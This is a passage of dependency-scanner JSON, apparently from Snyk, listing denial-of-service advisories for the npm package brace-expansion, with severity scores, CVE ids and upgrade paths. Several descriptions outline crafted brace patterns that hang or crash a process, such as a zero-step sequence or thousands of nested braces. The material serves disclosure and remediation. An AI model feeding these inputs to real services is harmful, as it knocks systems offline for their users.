"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
